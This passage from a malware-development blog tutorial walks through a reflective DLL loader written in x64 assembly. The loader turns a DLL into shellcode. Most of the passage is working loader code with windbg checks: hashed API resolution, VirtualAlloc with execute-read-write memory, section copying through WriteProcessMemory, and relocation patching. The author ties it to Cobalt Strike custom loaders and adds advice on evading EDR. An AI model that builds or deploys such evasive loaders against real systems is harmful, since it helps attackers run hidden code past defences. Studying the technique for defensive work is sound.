a stealthier way of executing code since we don't have to write a dll to disk and we don't generate any kernel alerting indicating a new module has been loaded in the process. Also, turning the dll into shellcode gives additional flexibility since we can use our favourite [shellcode loaders](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) / [injectors](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection) to execute dll code. Fortra has recently release an [article](https://www.cobaltstrike.com/product/features/user-defined-reflective-loader#:~:text=The%20UDRL%20is%20a%20primary,further%20expanded%20in%20version%204.9.) announcing that cobalt strike users could define their own reflective loader to help evading security solutions. Bobby Cooke from IBM X-Force Red has released this [article](https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/) to describe how a user defined loader has been implemented to cobalt strike. Let's do a deep dive on how to write a reflective loader in assembly, that turns any dll into position independent shellcode. [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#dll-greater-than-shellcode) DLL -> Shellcode ----------------------------------------------------------------------------------------------------------------------------------------------------- In this [article](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection) I went through the code of creating a reflective loader using Go. Turning a dll into shellcode involves taking the bytes of a dll and append (or prepend) the code described in the above article to the dll bytes. For this project we will structure the shellcode as shown in the image below: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FRIul3kjMduBHGBb471BZ%252Fimage.png%3Falt%3Dmedia%26token%3D61c108ef-8ab6-4e94-90af-6eb8268e1520&width=768&dpr=4&quality=100&sign=5eb44e84&sv=2) Shellcode structure Once we run the code we will hit a jump instruction. This instruction will help us jump over the DLL bytes and DLL size to the shellcode were all the magic happens. We could have the Reflective loader at the very top instead of having a jmp instruction but that would make the development process a bit harder as I would have to constantly modify the offsets as my shellcode grew. Our shellcode will then allocate some memory in the Heap, copy over the headers, sections modify a few bits, assign it execute privileges and hopefully the dll will run. [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#pre-requisites) Pre-requisites --------------------------------------------------------------------------------------------------------------------------------------- Anyone attempting to follow the next section should be familiar with the following subjects: * [DLL reflective loading](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection) * [x64 Assembly & Shellcode development](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro) * Understanding of PE Headers (PE-Bear is a great tool) * Basic use of windbg (or any windows debugger capable of debugging x64 code) [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#recommendations) Recommendations ----------------------------------------------------------------------------------------------------------------------------------------- I recommend following along in your debugger to truly understand the implementation below. It's hard to follow assembly in a blog 😄 The full code can be found here: [https://github.com/scriptchildie/GoDll2Shellcode](https://github.com/scriptchildie/GoDll2Shellcode) [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#code-break-down) Code Break down ----------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#read-dll-bytes) Read DLL bytes As per the structure we defined the first instruction in our shellcode will be a jmp instruction that will take us on the first line of the Reflective Loader. Copy dllBytes, err := os.ReadFile("mydll.dll") if err != nil { log.Fatalf("Failed to open file %v", err) } sizeBytes := uint64ToBytes(uint64(len(dllBytes))) jmpInstruction := fmt.Sprintf("jmp 0x%x;", len(dllBytes)+13) The above code reads the contents of the dll file and writes them into a byte slice dllBytes. It then turns the size into 64-bit unsigned integer. The last line creates the string in the format keystone-engine expects it to be in order to turn it to opcodes. So if the size of the dll is 20-bytes the jmp instruction will jump forward 33-bytes. * 20 bytes (dll bytes) * 8 bytes (the size value at the end of the bytes) * 5 bytes for the jmp instruction ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#shellcode-prologue) Shellcode Prologue Copy "Prologue:", " push r12;", //Push non-volatile registers to stack " push r13;", " push r14;", " push r15;", " push rsi;", " push rdi;", " push rbx;", " push rbp;", " mov rbp,rsp;", // move rsp to rbp (use rbp as reference for local variables / not x64 standard) " and rsp,0x0FFFFFFFFFFFFFFF0;", // stack alignment " sub rsp,0x200;", // create stack space If we want our main program to continue executing after running our shellcode we should preserve all non-volatile registers as per the [windows x64 convention](https://learn.microsoft.com/en-us/cpp/build/x64-software-conventions?view=msvc-170#x64-register-usage) . * Lines 2-9: push all non-volatile registers to stack * Line 10: This is not best practise for x64 but I find it easier to have rbp as a reference for my local variables. * Line 11: Setting the last 4-bits to 0 ensures that our stack stays 16-byte aligned. We could face random crashes if our stack is not aligned. * Line 12: We create space in our stack for our local variables. ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#calculating-offsets) Calculating offsets Copy " lea rdi, [rip - 0x29];", // Get the address of the dll size " mov rax, [rdi];", //DLL size " sub rdi, rax;", //base address of the raw dll bytes " mov qword ptr [rbp],rax;", // push size of DLL to stack " mov qword ptr [rbp-8],rdi;", // push base address of the raw dll bytes to stack * Line 1 : Gets the address where our dll size is kept If you would like to follow along and you would like to add a break point it should be added below this instruction. That's because it uses rip as a reference and anything added on top of this instruction will mess up the hardcoded 0x29 offset to the dll size. * Line 2: Get the dll size in rax * Line 3: Sub the dll size from the address to get the base address of the dll * Line 4: Push the dll size to stack * Line 5: push base address of the dll to stack Since my asm code is expected to become very long by the time it's complete, I like to keep an index of what's stored where in the stack in case I would like to access it later on in the code. This is how it looks by the time my shellcode is complete. Copy /* [rbp] -> dll size [rbp-0x8] -> dllPtr base address of the raw dll bytes [rbp-0x10] -> ntdll.dll base address [rbp-0x18] -> kernel32.dll base address [rbp-0x20] -> ntheader address [rbp-0x28] -> fileheader address [rbp-0x30] -> optional header address [rbp-0x38] -> dllBase address [rbp-0x40] -> deltaImageBase [rbp-0x48] -> CurrentProcess Handle 0xfffffff.. */ Checking quickly if we have the right values in windbg. So rax holds the value 0xb55e. That's the equivalent of 46430. Cross checking the size of the dll on disk we can confirm that this is the right value. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FQlpGbnS0yZJPHo4yoYib%252Fimage.png%3Falt%3Dmedia%26token%3D9f722031-03e8-4b97-a9b8-49096a5264ad&width=768&dpr=4&quality=100&sign=2de657fe&sv=2) Dll Size cross check And rdi points to the beginning of the dll. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FjMPLKhzVqsVRLRbZFDer%252Fimage.png%3Falt%3Dmedia%26token%3D996a9c80-d649-40d0-ba49-131862120260&width=768&dpr=4&quality=100&sign=107d2e31&sv=2) Dll base address ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#finding-kernel32-and-getprocaddress) Finding Kernel32 & GetProcAddress These functions are explained in detail in me [previous blog](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro) . ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#reflective-loader-start) Reflective loader start The actual reflective loader code starts below: Copy "reflective_loader:", " xor rax,rax;", " mov rdi, [rbp-8];", // Get the address raw dll " mov eax, dword ptr [rdi+0x3c];", // e_lfanew -> ax " add rdi,rax;", // Address of ntheader " mov qword ptr [rbp-0x20],rdi;", // push address of ntheader to stack " add rdi,0x4;", // address of file header " mov qword ptr [rbp-0x28],rdi;", // push address of fileheader to stack " add rdi,0x14;", // address of file header " mov qword ptr [rbp-0x30],rdi;", // push address of optional to stack " mov eax, dword ptr [rdi+0x38];", // size of image to eax " push rax;", //push size of image to stack eax to be used from parse_module " mov rax, qword ptr [rdi+0x18];", // imagebase to rax " push rax;", The aim of the above code is to identify the size of the dll in order to allocate the right size in the upcoming VirtualAlloc API call. * Line 3: Move base address of dll in rdi * Line 4: Get the nt header offset to eax. A quick check to ensure we have the right value in eax: Copy 000001ee`65c6b62d 8b473c mov eax,dword ptr [rdi+3Ch] ds:000001ee`65c60041=00000080 0:000> 000001ee`65c6b630 4801c7 add rdi,rax 0:000> r eax eax=80 ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FWVGynp0eS86lvmOI7qkw%252Fimage.png%3Falt%3Dmedia%26token%3Da95ccfe3-de70-4962-93bb-6d9617d96d3b&width=768&dpr=4&quality=100&sign=fd6e299&sv=2) DOS header We can see that File address of new exe header is 80 so we have the right value * Lines 5-10: A series of calculations to calculate the addresses of nt, file and optional headers. We also store them in the stack in case they are needed in the upcoming code. Let's check if rdi on line 10 holds the address of the optional header. We expect to see the value 20B. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fxi2JOorbFwSrrdPeloXp%252Fimage.png%3Falt%3Dmedia%26token%3Df540fb09-6512-4423-b1eb-3cb4c63bd561&width=768&dpr=4&quality=100&sign=d02a11e6&sv=2) Optional header (PE Bear) So cross checking in windbg shows the right value. Great. Copy 0:000> dw rdi L1 000001ee`65c6009d 020b Line 11 & 13: Move the size of the image to eax and the image base to rax followed by a push instruction ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FNos0GHl0psRzA96qYAyI%252Fimage.png%3Falt%3Dmedia%26token%3D7319466d-1675-4866-8a01-f7f70893e54e&width=768&dpr=4&quality=100&sign=353e8db5&sv=2) Optional header We can see that at offset B0 and D0 we have the desired values. When we check the stack we should find those values stored. Copy 0:000> dq rsp L2 000000a2`551ff7f0 00000003`ae720000 00000000`00013000 ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#virtualalloc-allocate-memory-for-our-dll) VirtualAlloc - Allocate memory for our dll Copy LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); * lpAddress will be set to the the ImageBase (if available) * dwSize will be equal to the Size of Image * flAllocationType = MEM\_RESERVE | MEM\_COMMIT = 0x3000 * flProtect = PAGE\_EXECUTE\_READWRITE = 0x40 If you plan on using this code in real world engagement the PAGE\_EXECUTE\_READWRITE permissions will most likely get investigated by the EDR. Also it might be a better idea use indirect syscalls to call these functions We now have to assign these values to rcx,rdx,r8 and r9 before making the function call. Copy "call_virtualAlloc:", " mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module " mov r8d, 0x91afca54;", // VirtualAlloc Hash " call parse_module;", // Search and obtain address of VirtualAlloc " pop rcx;", // imagbase to rcx " mov rsi,rcx;", //save the value for later " pop rdx;", // image soze to rdx " mov r8, 0x3000;", //MEM_RESERVE | MEM_COMMIT = 0x3000 " mov r9, 0x40;", //PAGE_EXECUTE_READWRITE = 0x40 " sub rsp,0x20;", // shadow space " call rax;", // call VirtualAlloc " add rsp,0x20;", // restore stack " mov qword ptr [rbp-0x38],rax;", // push dllBase address to stack " sub rax,rsi;", // deltaImageBase to be used later " mov qword ptr [rbp-0x40],rax;", // push deltaImageBase to stack Lines 2-4: Use the parse\_module to get the address of virtual alloc: * r9 -> kernel32 base address * r8d -> VirtualAlloc hash calculated using [this script](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#helper-code-for-hash-calculation) * Line 5: Pop imagebase from the stack to rcx (first argument) * Line 7: Pop image size from the stack to rdx ( second argument) * Line 8: r8 = 0x3000 (third argument) * Line 9: r9 = 0x40 (fourth argument) * Lines 10&12: Allocate shadow space as per the x64 calling convention. * Line 13: Store the allocated address to the stack * Line 14: Calculate the difference between desired address and allocated address (if different). It will be useful later on when we are relocating hardcoded addresses. * Line 15: Save the address difference to the stack ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#copy-dll-headers) Copy DLL Headers To simplify the Proof of Concept we are using WriteProcessMemory to copy the headers to the destination address. WriteProcessMemory is monitored by most EDRs so it might cause our payload to be flagged. It should be easy enough to write a memcpy function in assembly. In this section we are using 2 windows APIS #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#getcurrentprocess) GetCurrentProcess Copy HANDLE GetCurrentProcess(); This API doesn't take any arguments and it always returns -1 (0xFFF..). We could hardcode this value but it's not recommended by Microsoft. Copy "call_currentProcess:", " mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module " mov r8d, 0x7b8f17e6;", // GetCurrentProcess Hash " call parse_module;", // Search and obtain address of GetCurrentProcess " call rax;", // call GetCurrentProcess " mov qword ptr [rbp-0x48],rax;", // push Current Process handle to stack Line 2: Similarly with the previous functions we have kernel32 base address in r9 Line 3: The hash of the function in r8 Line 4: Call parse\_module to get the function address Line 5: And call rax where the function address is stored. Line 6: We then save the handle to the stack #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#writeprocessmemory) WriteProcessMemory Copy BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); Let's have a quick look on what the arguments should be: * hProcess = The pseudo handle output from the GetCurrentProcess() function * lpBaseAddress = The output from the VirtualAlloc() function * lpBuffer = Raw DLL bytes * nSize = Size of headers from optional header * lpNumberOfBytesWritten = Pointer to the stack. Let's see how does this translate in assembly code. Copy "call_writeprocessmemory:", // Write headers to the target address " mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module " mov r8d, 0xd83d6aa1;", // WriteProcessMemory Hash " call parse_module;", // Search and obtain address of WriteProcessMemory " mov rcx,qword ptr [rbp-0x48];", // current process handle " mov rdx,qword ptr [rbp-0x38];", //dll base " mov r8,qword ptr [rbp-0x8];", // raw bytes of dll " xor r9,r9;", " push r9;", // Placeholder for the bytesWritten " mov r9d, dword ptr [rdi+0x3c];", // Size of headers to r9 " lea rsi, [rsp];", //place to write the byteswritten " push rsi;", " sub rsp,0x20;", // shadow space " call rax;", // call WPM " add rsp,0x20;", // restore stack As always Lines 1-4: We pass kernel32 base address to r9, WriteProcessMemory hash to r8d and we call parse\_module. Now it's a good time to refer to our index to find where are the desired values on the stack Copy /* [rbp] -> dll size [rbp-0x8] -> dllPtr base address of the raw dll bytes [rbp-0x10] -> ntdll.dll base address [rbp-0x18] -> kernel32.dll base address [rbp-0x20] -> ntheader address [rbp-0x28] -> fileheader address [rbp-0x30] -> optional header address [rbp-0x38] -> dllBase address [rbp-0x40] -> deltaImageBase [rbp-0x48] -> CurrentProcess Handle 0xfffffff.. */ * line 5: rcx = Moved the pseudohandle to rcx * line 6: rdx = Moved the dll base to rdx * line 7: r8 = Moved the raw dll bytes to r8 * line 10: Move size of headers from optional header + offset 0x3c * Line 9-11: Create a zero qword onto the stack, Get a pointer to the location and push to the stack since this is the 5th argument. * Line 13-15: Create shadow space and call function We have done quite a lot, let's see if we get the values we expect before and after the call instruction in windbg. Copy 0:000> r rcx,rdx,r8,r9 ; dq rsp L1 rcx=ffffffffffffffff rdx=00000003ae720000 r8=0000014afbf00005 r9=0000000000000600 00000006`8bdff490 00000006`8bdff498 0:000> dq 00000006`8bdff498 00000006`8bdff498 00000000`00000000 Everything looks as we expect them before the call. Let's see if the 0x600 bytes are written to the destination memory after the call. Copy 0:000> dq 00000006`8bdff498 L1 00000006`8bdff498 00000000`00000600 The variable lpNumberOfBytesWritten is set to 0x600, but let's double check the destination memory if it has the same contents as the buffer. Copy 0:000> db 00000003ae720000 L 30; db 0000014afbf00005 L 30 00000003`ae720000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ.............. 00000003`ae720010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@....... 00000003`ae720020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0000014a`fbf00005 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ.............. 0000014a`fbf00015 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@....... 0000014a`fbf00025 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ All is looking good :) ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#copy-dll-sections) Copy DLL Sections The background knowledge of what we are trying to achieve can be found [here](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-1.-raw-offsets-greater-than-rva) and the Go code [here](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-4.-copy-the-dll-sections) . Let's dive into the assembly #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#number-of-sections) Number of sections Copy "copy_sections:", //Copy sections to the target address " mov r13,qword ptr [rbp-0x30];", // Optional header -> rsi " add r13, 0xf0;", // Section header = Optionalheader + 0xf0 -> rsi " mov rdi,qword ptr [rbp-0x28];", // fileheader address -> rdi " mov ax, word ptr [rdi+0x2];", // FileHeader.NumberOfSections -> ax " mov rdi,rax;", // rax volatile writeprocess memory would erase Before copying the sections to the destination address we need to identify the section header address and the number of sections * Line 2-3: Section header is located at offset +0xf0 from the optional header * Line 4: Move fileheader address to rdi * Line 5: Move number of sections to rax * Line 6: Store the in rdi #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#copy-sections-loop) Copy sections loop Copy "copy_sections_loop:", " cmp rdi,0;", //check if loop is finished " je copy_sections_loop_finished;", // jump out of the loop " mov r9,qword ptr [rbp-0x18];", // move kernel32 base address to r9 for parse_module " mov r8d, 0xd83d6aa1;", // WriteProcessMemory Hash " call parse_module;", // Search and obtain address of WriteProcessMemory " mov rcx,qword ptr [rbp-0x48];", // current process handle " mov rdx,qword ptr [rbp-0x38];", //dll base " xor r12,r12;", // 0 -> r12 " mov r12d,dword ptr [r13+0xc];", // section.VirtualAddress -> r12d " add rdx,r12;", // dllbase + sectionVA " mov r8,qword ptr [rbp-0x8];", // raw bytes of dll " mov r12d,dword ptr [r13+0x14];", // section.PointerToRawData -> r12d " add r8,r12;", //dllPtr+section.PointerToRawData " xor r9,r9;", " push r9;", // Placeholder for the bytesWritten " mov r9d, dword ptr [r13+0x10];", // SizeOfRawData " lea r11, [rsp];", //place to write the byteswritten " push r11;", " sub rsp,0x20;", // shadow space " call rax;", // call WPM " add rsp,0x20;", // restore stack // WPM E " dec rdi;", // rax--; " add r13, 0x28;", // point to the beginning of the next section header " jmp copy_sections_loop;", // next iteration "copy_sections_loop_finished:", " nop;", The above code might look scary at first but let's break it down: * Line 2: Line 2 checks if rdi is zero. rdi holds the number of sections and the value decrements by 1 with each iteration. * Line 3: If rdi == 0 it means that all sections have been copied and we should break off the loop by jumping to line 32 (copy\_sections\_loop\_finished). * Lines 5-7: Identify WriteProcessMemory using parse\_module #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#writeprocessmemory-args) WriteProcessMemory args ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FaCa0DsAbHEr7KZ3fQZ0J%252Fimage.png%3Falt%3Dmedia%26token%3D9013fbd3-b586-42c7-aca2-459c364a0a44&width=768&dpr=4&quality=100&sign=101cd96c&sv=2) Sections header Let's have a quick look what arguments we will be passing to WriteProcess Memory * hProcess = The pseudo handle output from the GetCurrentProcess() function * lpBaseAddress = Base address + RVA of the section * lpBuffer = Base address of Raw DLL bytes + Raw Address * nSize = Size of Raw Data * lpNumberOfBytesWritten = Pointer to the stack. * Line 12: Moves Relative Virtual Address from the section header to r12 * Line 13: Calculates the Virtual Address by adding base address (from VirtualAlloc) * Line 16: Moves the pointer of Raw data to r12 * Line 17: Adds the base address of the raw bytes * Line 20: Moves the size of raw data Let's have a quick look at the data when the WriteProcessMemory function is called for the first time. Copy 0:000> r rcx,rdx,r8,r9 ; dq rsp L2 rcx=ffffffffffffffff rdx=00000003ae721000 r8=0000014afbf00605 r9=0000000000001600 00000006`8bdff480 00000006`8bdff488 00000000`00000000 The data matches to the .text section data we see from the PE-bear section * Line 27: Decrements the sections counter by 1 * Line 28: Adds 0x28 to r13, It points to the beginning of the next section * Line 29: Jumps at the beginning of the loop ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#memory-relocations) Memory Relocations With all our sections in place the next task is to find all the hardcoded addresses in our code, and add the deltaImageBase we calculated earlier in our code. The background knowledge can be found [here](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-2.-relocations) and the go code [here](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#id-5.-relocations) . Let's have dive into the assembly. Copy "memory_relocations:", // start memory relocations " mov r13,qword ptr [rbp-0x30];", // Optional header -> r13 " add r13, 0x98;", // Points to IMAGE_DIRECTORY_ENTRY_BASERELOC " mov eax, dword ptr[r13];", // relocations.VirtualAddress ->rax " add rax,qword ptr [rbp-0x38];", // relocation_table " xor rdi,rdi;", // relocations_processed counter "memory_relocations_loop:", " mov rsi,rax;", " add rsi,rdi;", //relocation block (relocation_table + relocations processed) -> rsi " mov r8d, dword ptr [rsi];", //PAGERVA " mov r9d, dword ptr [rsi+4];", //BlockSize " mov rcx,r9;", //Block size -> rcx " sub rcx,0x8;", // BLocksize-8 ->rcx " shr rcx,1;", // Blocksize/2 -> rcx " xor r10,r10;", " or r10d,r9d;", " or r10d,r8d;", " test r10d,r10d;", //check r10d is zero " jz exit_relocations_loop;", " add rsi, 0x8;", // relocEntry "relocation_entries_loop:", " cmp rcx,0;", " je relocation_entries_loop_end;", // jump out of the loop " mov r11d,dword ptr [rsi];", " and r11d,0xf000;", " shr r11d,12;", //type -> r11 " test r11,r11;", //test if r11 is 0 " jz relocation_entries_loop_inc_counters;", //continue " mov r11d,dword ptr [rsi];", //type -> r11 " and r11d,0xfff;", " mov r13,r8;", " add r13,r11;", //relocationRVA " add r13, qword ptr[rbp-0x38];", //absolute address of relocation " mov r12, qword ptr[r13];", // address to patch -> r9 " add r12, qword ptr[rbp-0x40];", // address to patch + delta " mov qword ptr[r13], r12;", // patch "relocation_entries_loop_inc_counters:", " dec rcx;", " add rsi, 0x2;", " jmp relocation_entries_loop;", //end of relocations entries loop "relocation_entries_loop_end:", " add rdi,r9;", // point to the next relocationblock " jmp memory_relocations_loop;", //iterate "exit_relocations_loop:", The code is fairly long but let's break it down. We have the outer loop ( memory\_relocations\_loop) that loops through the relocation Blocks and within each block we have the inner loop that loops through the entries. For mydll.dll example this is how the relocations look like: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FlSlx4l1nXrnMGNjxq01o%252Fimage.png%3Falt%3Dmedia%26token%3Dee0ed7b5-bd65-491e-af7a-8c8d2711f249&width=768&dpr=4&quality=100&sign=1ac9a2b2&sv=2) Relocations in PE-bear The outer loop will loop 4 times as it can be seen at the very top. The inner loop for the block at offset 0x360C will iterate over the 0x10 (16) entries. #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#address-of-relocations) Address of relocations Copy "memory_relocations:", // start memory relocations " mov r13,qword ptr [rbp-0x30];", // Optional header -> r13 " add r13, 0x98;", // Points to IMAGE_DIRECTORY_ENTRY_BASERELOC " mov eax, dword ptr[r13];", // relocations.VirtualAddress ->rax " add rax,qword ptr [rbp-0x38];", // relocation_table " xor rdi,rdi;", // relocations_processed counter * Line 3: Relocation Blocks RVA is located at offset 0x98 from the beginning of the optional header. * Line 4: RVA Value stored in eax * Line 5: Add base address to get the relocation\_table address in memory * Line 6: Zero rdi to use as a loop counter in the next section #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#relocations-block-outer-loop) Relocations Block (Outer Loop) Copy "memory_relocations_loop:", " mov rsi,rax;", // relocation_table " add rsi,rdi;", //relocation block (relocation_table + relocations processed) -> rsi " mov r8d, dword ptr [rsi];", //PAGERVA " mov r9d, dword ptr [rsi+4];", //BlockSize " mov rcx,r9;", //Block size -> rcx " sub rcx,0x8;", // BLocksize-8 ->rcx " shr rcx,1;", // Blocksize/2 -> rcx " xor r10,r10;", " or r10d,r9d;", " or r10d,r8d;", " test r10d,r10d;", //check r10d is zero " jz exit_relocations_loop;", " add rsi, 0x8;", // relocEntry ... ... " add rdi,r9;", // point to the next relocationblock " jmp memory_relocations_loop;", //iterate "exit_relocations_loop:", * Line 2: Move relocation\_table address to rsi * Line 3: Line 3 adds the rdi to rsi, in order to point to the next relocation block * Line 4: Move PAGERVA in r8 * Line 5: Move Block Size in r9 * Line 6-9: `relocationsCount := (relocation_block.BlockSize - 8) / 2` We are essentially turning the relocation blocksize to the number of relocation entries in the block. This will be used later in the inner loop. * Line 7: Subtracts 8 from the block size in rcx * Line 8: Performs a right shift on rcx by 1 bit, essentially dividing the value in rcx by 2 * Lines 10-12 test if PAGERVA or BlockSize is zero * Line 13: If any of those values is zero the loop exits * Line 14: If none of them are zero we add 0x8 to rsi to get the address of the first relocation entry * Line 15: will have our inner loop that rotates through the entries * Line 18: Adds the block size to rdi in order to reach the next block on the next iteration * Line 19: Jumps back to the beginning of the loop When writing loops it will make sense to set a break point to line 14 in this case to make sure that it points to the first entry of each block. Also another break point at the exit\_relocation\_loop to ensure it exits the loop when we expect it to do A quick check confirms that our loop performs as expected: Copy 0:000> bp 0000014a`fbf0b775 0:000> g Breakpoint 0 hit 0000014a`fbf0b775 4883c608 add rsi,8 0:000> p 0000014a`fbf0b779 4883f900 cmp rcx,0 0:000> dw rsi L1 00000003`ae72c008 a558 .. 0:000> dw rsi L1 00000003`ae72c014 a010 #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#relocation-entries-loop-inner-loop) Relocation Entries Loop (inner loop) Copy "relocation_entries_loop:", " cmp rcx,0;", " je relocation_entries_loop_end;", // jump out of the loop " mov r11d,dword ptr [rsi];", " and r11d,0xf000;", " shr r11d,12;", //type -> r11 " test r11,r11;", //test if r11 is 0 " jz relocation_entries_loop_inc_counters;", //continue " mov r11d,dword ptr [rsi];", //type -> r11 " and r11d,0xfff;", " mov r13,r8;", // r8 holds page RVA " add r13,r11;", //relocationRVA " add r13, qword ptr[rbp-0x38];", //absolute address of relocation " mov r12, qword ptr[r13];", // address to patch -> r9 " add r12, qword ptr[rbp-0x40];", // address to patch + delta " mov qword ptr[r13], r12;", // patch "relocation_entries_loop_inc_counters:", " dec rcx;", " add rsi, 0x2;", " jmp relocation_entries_loop;", * Line 2: rcx holds the number of entries in the block and decrements with every iteration. Here we compare to 0 , which essentially checks if we already looped through all entries. * Line 3: If rcx was zero it jumps out of the loop into the outer loop * Line 4: Moves entry Value to r11d Let's assume r11d now has the value 0xA558. * Line 5: will zero the last 12-bits essentially leave the value 0xA000 in r11d * Line 6: shifts right by 12 bits turning r11d to 0x000A * Line 7: checks if the remaining value is zero. * Line 8: Continues to the next entry by jumping at the end of the function where our counters are adjusted * Line 10: is identical to Line 4 moving the entry value to r11d Once again let's assume the value is 0xA558 * Line 11: Zeros the top 4 bits leaving the value 0x558 in r11d. This value is the RVA from the beginning of the PAGE. * Line 12: Move page rva to r13 * Line 13: Add page rva to the reglocation rva to get the relocation RVA from the dll base address * Line 15: We add the base dll address to the relocation rva to get the absolute address * Line 16: We now get the actual hardcode address from memory into r12. * Line 17: We add the delta calulcated and stored in the stack previously to the hardcoded address * Line 18: Patch the address in memory * Line 21: Decrease the relocation entries counter * Line 22: Point to the next relocation entry in the block ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#imports) Imports The last step in our shellcode is to import all external dependencies. Once again we will need 2 loops just like we did for the relocations. As we can see from the Import tab in PE-bear, we have an entry for each DLL and then a list of functions for each dll. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fb00c17rCNT0SyWoKLM52%252Fimage.png%3Falt%3Dmedia%26token%3Da9886dc3-4be9-447f-97da-bee0af75c2ec&width=768&dpr=4&quality=100&sign=1fb35019&sv=2) Imports Our outer loop will loop through the dlls, and the inner loop will loop through the functions and import them as required. In the outer loop we will need to use an api such as 